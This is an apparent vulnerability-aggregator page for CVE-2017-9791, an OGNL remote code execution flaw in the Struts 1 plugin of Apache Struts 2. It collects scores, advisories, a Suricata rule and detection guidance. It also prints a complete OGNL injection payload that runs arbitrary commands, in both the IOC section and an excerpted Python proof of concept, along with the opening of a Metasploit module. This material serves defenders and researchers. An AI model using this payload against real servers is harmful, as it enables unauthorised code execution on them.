CVE-2017-9791
published 2017-07-10CVE-2017-9791: The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
PriorityP193critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-08-10
Exploited in the wild
EPSS
98.93%
99.9th percentile
The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Affected
35 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(@java.lang.Runtime@getRuntime().exec('<cmd>'))}↗
- →Detect OGNL expression injection in the 'name' POST parameter targeting the saveGangster.action endpoint; payload begins with '%{' and contains 'OgnlContext@DEFAULT_MEMBER_ACCESS' and 'getRuntime().exec' ↗
- →Monitor HTTP POST requests to paths matching /integration/saveGangster.action with a 'name' parameter containing OGNL expression syntax ('%{' ... '}') ↗
- →Apply Deep Security DPI rule 1008490 to detect exploitation attempts against this vulnerability ↗
- →TippingPoint rule C000002 detects access to the SaveGangster.action showcase site path specifically ↗
- →TippingPoint rule C000003 detects suspicious opensymphony action requests characteristic of Struts 2 OGNL exploitation ↗
- →TippingPoint rule C000004 detects echo command usage in Struts 2 exploit payloads ↗
- →The vulnerable code path is in SaveGangsterAction.java; monitor for unsanitized user input from gform.getName() flowing into ActionMessage constructor as a raw string rather than a resource key ↗
- ·Only Apache Struts 2.3.x with the Struts 1 plugin enabled is vulnerable; Struts 2.5.x is NOT affected ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Code execution in Apache Struts 1 plugin
osv·2022-05-13
CVE-2017-9791 [CRITICAL] Code execution in Apache Struts 1 plugin
Code execution in Apache Struts 1 plugin
The Struts 1 plugin used with Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
GHSA
Code execution in Apache Struts 1 plugin
ghsa·2022-05-13
CVE-2017-9791 [CRITICAL] CWE-20 Code execution in Apache Struts 1 plugin
Code execution in Apache Struts 1 plugin
The Struts 1 plugin used with Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
VulnCheck
Apache Struts 1 Improper Input Validation Vulnerability
vulncheck·2017·CVSS 9.8
CVE-2017-9791 [CRITICAL] CWE-20 Apache Struts 1 Improper Input Validation Vulnerability
Apache Struts 1 Improper Input Validation Vulnerability
The Struts 1 plugin in Apache Struts might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Affected: Apache Struts
Required Action: Apply updates per vendor instructions.
Exploitation References: https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
Exploit PoC: https://vulncheck.com/xdb/8b1dd6d0c703; https://vulncheck.com/xdb/2fe7d1498974; https://vulncheck.com/xdb/bacc4a0c75f1
Remediation Due: 2022-08-10
CISA
Apache Struts 1 Improper Input Validation Vulnerability
cisa·2022-02-10·CVSS 9.8
CVE-2017-9791 [CRITICAL] CWE-20 Apache Struts 1 Improper Input Validation Vulnerability
Vulnerability: Apache Struts 1 Improper Input Validation Vulnerability
Affected: Apache Struts 1
The Struts 1 plugin in Apache Struts might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2017-9791
Remediation Due Date: 2022-08-10
Red Hat
struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
vendor_redhat·2017-07-07·CVSS 9.8
CVE-2017-9791 [CRITICAL] struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Statement: A previous statement by Red Hat related to this CVE, prior to August 2019, said that Apache Struts 2 is not included in any Red Hat products. This earlier statement was incorrect. While Struts 2 is not actively compiled, shipped, used, or enabled in any Red Hat provided final products, and does not cause any vulnerability in the product, struts2-core jars have been included in some products' source code packages. The inclusion was part of an import of the Google Guice repository, which includes struts2-core. Customers that bu
Suricata
ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)
suricata·2017-07-14·CVSS 9.8
CVE-2017-9791 [CRITICAL] ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)
ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)
Rule: alert http any any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)"; flow:established,to_server; http.method; content:"POST"; nocase; http.request_body; content:"multipart"; content:"form-data"; distance:1; within:11; content:"ognl.OgnlContext"; distance:1; fast_pattern; content:"DEFAULT_MEMBER_ACCESS"; distance:1; within:23; content:"java.lang.ProcessBuilder"; distance:1; content:".start"; distance:1; reference:url,securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/; reference:cve,2017-9791; classtype:attempted-user; sid:2024468; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_07_14, cve
Exploit-DB
Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)
exploitdb·2018-05-17
CVE-2017-9791 Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)
Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
'Description' => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
'License' => MSF_LICENSE,
'Author' => [
'icez ',
'Nixawk',
'xfer0'
],
'References' => [
[ 'CVE', '2017-9791' ],
[ 'BID', '99484' ],
[ 'EDB', '42324' ],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048' ]
],
'Privileged' => true,
'Targets' => [
Exploit-DB
Apache Struts 2.3.x Showcase - Remote Code Execution
exploitdb·2017-07-07·CVSS 9.8
CVE-2017-9791 [CRITICAL] Apache Struts 2.3.x Showcase - Remote Code Execution
Apache Struts 2.3.x Showcase - Remote Code Execution
---
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Just a demo for CVE-2017-9791
import requests
def exploit(url, cmd):
print("[+] command: %s" % cmd)
payload = "%{"
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"
data = {
"name": payload,
"age": 20,
"_
Metasploit
Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
metasploit
Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value.
Nuclei
Apache Struts2 S2-053 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2017-9791 [CRITICAL] Apache Struts2 S2-053 - Remote Code Execution
Apache Struts2 S2-053 - Remote Code Execution
Apache Struts 2.1.x and 2.3.x with the Struts 1 plugin might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
Template:
id: CVE-2017-9791
info:
name: Apache Struts2 S2-053 - Remote Code Execution
author: pikpikcu
severity: critical
description: |
Apache Struts 2.1.x and 2.3.x with the Struts 1 plugin might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
impact: |
Remote code execution
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
reference:
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
- http://struts.apache.org/docs/s2-048.html
- http
arXiv
ATTACK2VEC: Leveraging Temporal Word Embeddings to Understand the Evolution of Cyberattacks
arxiv_fulltext·2019-05-29
ATTACK2VEC: Leveraging Temporal Word Embeddings to Understand the Evolution of Cyberattacks
: Leveraging Temporal Word Embeddings to
Understand the Evolution of Cyberattacks
## Abstract
Despite the fact that cyberattacks are constantly growing in complexity, the research community still lacks effective tools to easily monitor and understand them.
In particular, there is a need for techniques that are able to not only track how prominently certain malicious actions, such as the exploitation of specific vulnerabilities, are exploited in the wild, but also (and more importantly) how these malicious actions factor in as attack steps in more complex cyberattacks.
In this paper we present , a system that uses temporal word embeddings to model how attack steps are exploited in the wild, and track how they evolve.
We test on a dataset of billions of security events collected from the c
CTF
README
ctf_writeups·CVSS 9.8
[CRITICAL] README
# Boot to root CTFs
Walkthroughs and notes of 'boot to root' CTFs mostly from VulnHub that I did for fun. I like to use vulnerable VMs from VulnHub (in addition to the ones I create) to organize hands-on penetration testing training sessions for junior security auditors/consultants :-)
### >> Classic pentest methodology to do a Boot2root CTF upload a Webshell)
➤ Clear-text passwords stored in 'public' website pages, configuration files, log files
➤ ...
2. Exploiting unpatched known vulnerabilities
➤ Web server (e.g. Apache Struts RCE: CVE-2017-12611/CVE-2017-9805/CVE-2017-9791, JBoss Java Deserialization RCE)
➤ Bash & web server CGI (e.g. Shellshock RCE CVE-2014-6271/CVE-2014-7169)
➤ Web CMS (e.g. Drupalgeddon2 RCE CVE-2018-7600)
➤ Web framework (e.g. PHP CGI RCE CVE-2012-1823)
➤ FTP s
Qualys
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
blogs_qualys·2022-02-23
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
#### Table of Contents
- Situation
- Directive Scope
- CISA Catalog of Known Exploited Vulnerabilities
- Detect CISA Vulnerabilities Using Qualys VMDR
- CISA Exploited RTI
- Detailed Operational Dashboard
- Remediation
- Federal Enterprises and Agencies Can Act Now
- Summary
- Getting Started
CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively.
## Situation
Last November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directiv
Unit42
Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
blogs_unit42·2020-06-24·CVSS 9.8
[CRITICAL] Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
Threat Research Center
Threat Research
Vulnerabilities
## Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
Ken Hsu
Durgesh Sangvikar
Zhibin Zhang
Chris Navarrete
Published: June 24, 2020
Threat Research
Vulnerabilities
Cryptocurrency mining
Cryptojacking
DDoS
Lucifer
## Executive Summary
On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, which we’ve dubbed “Lucifer”, is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker th
Unit42
Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
blogs_unit42·2020-06-24·CVSS 9.8
CVE-2019-9081 [CRITICAL] Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
## Executive Summary
On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, which we’ve dubbed “Lucifer”, is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker then resumed their campaign on June 11, 2020, spreading an upgraded version of the malware and wreaking havoc. The sample was compiled on Thursday, June 11, 2020 10:39:47 PM UTC and caught by Palo Alto Networks Next-Generation Firewall. At the time of writing, the campaign’s still ongoing.
Lucifer is quite powerful in its capabilities. Not only is it capable
Trendmicro
CVE-2017-9791: New Apache Struts RCE Vulnerability
blogs_trendmicro·2017-07-13·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791: New Apache Struts RCE Vulnerability
## CVE-2017-9791: New Apache Struts RCE Vulnerability
The Apache Struts framework is useful for building modern Java-based web applications. A vulnerability has been found in this plugin that could allow remote code execution on the affected server, if used with Struts 2.3.x
By: Govind Sarda 2017/07/13 Read time: ( words)
Save to Folio
The Apache Struts framework is useful for building modern Java-based web applications, with two major versions, Apache Struts 1 and Apache Struts 2, released so far. Support for Apache Struts 1 ended in 2008 with the adoption of Apache Struts 2, which reached its first full release at the start of 2007. A Struts 1 plugin is available that allows developer to use existing Struts 1 Actions and ActionForms in Struts 2 web applications. A vulnerability has b
Trendmicro
CVE-2017-9791: New Apache Struts RCE Vulnerability
blogs_trendmicro·2017-07-13·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791: New Apache Struts RCE Vulnerability
Exploits & Vulnerabilities
## CVE-2017-9791: New Apache Struts RCE Vulnerability
The Apache Struts framework is useful for building modern Java-based web applications. A vulnerability has been found in this plugin that could allow remote code execution on the affected server, if used with Struts 2.3.x
By: Govind Sarda Jul 13, 2017 Read time: ( words)
Save to Folio
The Apache Struts framework is useful for building modern Java-based web applications, with two major versions, Apache Struts 1 and Apache Struts 2, released so far. Support for Apache Struts 1 ended in 2008 with the adoption of Apache Struts 2, which reached its first full release at the start of 2007. A Struts 1 plugin is available that allows developer to use existing Struts 1 Actions and ActionForms in Struts 2 web appli
Trendmicro
CVE-2017-9791: New Apache Struts RCE Vulnerability
blogs_trendmicro·2017-07-13·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791: New Apache Struts RCE Vulnerability
# CVE-2017-9791: New Apache Struts RCE Vulnerability
The Apache Struts framework is useful for building modern Java-based web applications. A vulnerability has been found in this plugin that could allow remote code execution on the affected server, if used with Struts 2.3.x
By: Govind Sarda
2017/07/13
Read time: ( words)
Save to Folio
The Apache Struts framework is useful for building modern Java-based web applications, with two major versions, Apache Struts 1 and Apache Struts 2, released so far. Support for Apache Struts 1 ended in 2008 with the adoption of Apache Struts 2, which reached its first full release at the start of 2007. A Struts 1 plugin is available that allows developer to use existing Struts 1 Actions and ActionForms in Struts 2 web applications. A vulnerability has b
Trendmicro
CVE-2017-9791: New Apache Struts RCE Vulnerability
blogs_trendmicro·2017-07-13·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791: New Apache Struts RCE Vulnerability
## CVE-2017-9791: New Apache Struts RCE Vulnerability
The Apache Struts framework is useful for building modern Java-based web applications. A vulnerability has been found in this plugin that could allow remote code execution on the affected server, if used with Struts 2.3.x
By: Govind Sarda Jul 13, 2017 Read time: ( words)
Save to Folio
The Apache Struts framework is useful for building modern Java-based web applications, with two major versions, Apache Struts 1 and Apache Struts 2, released so far. Support for Apache Struts 1 ended in 2008 with the adoption of Apache Struts 2, which reached its first full release at the start of 2007. A Struts 1 plugin is available that allows developers to use existing Struts 1 Actions and ActionForms in Struts 2 web applications. A vulnerability ha
Trendmicro
CVE-2017-9791: New Apache Struts RCE Vulnerability
blogs_trendmicro·2017-07-13·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791: New Apache Struts RCE Vulnerability
## CVE-2017-9791: New Apache Struts RCE Vulnerability
The Apache Struts framework is useful for building modern Java-based web applications. A vulnerability has been found in this plugin that could allow remote code execution on the affected server, if used with Struts 2.3.x
By: Govind Sarda Jul 13, 2017 Read time: ( words)
Save to Folio
The Apache Struts framework is useful for building modern Java-based web applications, with two major versions, Apache Struts 1 and Apache Struts 2, released so far. Support for Apache Struts 1 ended in 2008 with the adoption of Apache Struts 2, which reached its first full release at the start of 2007. A Struts 1 plugin is available that allows developer to use existing Struts 1 Actions and ActionForms in Struts 2 web applications. A vulnerability has
Bugzilla
CVE-2017-9791 struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
bugzilla·2017-07-10·CVSS 9.8
CVE-2017-9791 [CRITICAL] CVE-2017-9791 struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
CVE-2017-9791 struts2: Possible RCE via a malicious field value passed in a raw message to the ActionMessage
The Struts 1 plugin in Apache Struts 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
References:
https://github.com/dragoneeg/Struts2-048
Discussion:
External References:
http://struts.apache.org/docs/s2-048.html
---
Statement:
A previous statement by Red Hat related to this CVE, prior to August 2019, said that Apache Struts 2 is not included in any Red Hat products. This earlier statement was incorrect. While Struts 2 is not actively compiled, shipped, used, or enabled in any Red Hat provided final products, and does not cause any vulnerability in the product, struts2-core jars have been included in some pro
http://struts.apache.org/docs/s2-048.htmlhttp://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.htmlhttp://www.securityfocus.com/bid/99484http://www.securitytracker.com/id/1038838https://security.netapp.com/advisory/ntap-20180706-0002/https://www.exploit-db.com/exploits/42324/https://www.exploit-db.com/exploits/44643/http://struts.apache.org/docs/s2-048.htmlhttp://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.htmlhttp://www.securityfocus.com/bid/99484http://www.securitytracker.com/id/1038838https://security.netapp.com/advisory/ntap-20180706-0002/https://www.exploit-db.com/exploits/42324/https://www.exploit-db.com/exploits/44643/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-9791
2017-07-10
Published
2022-02-10
Added to CISA KEV
Exploited in the wild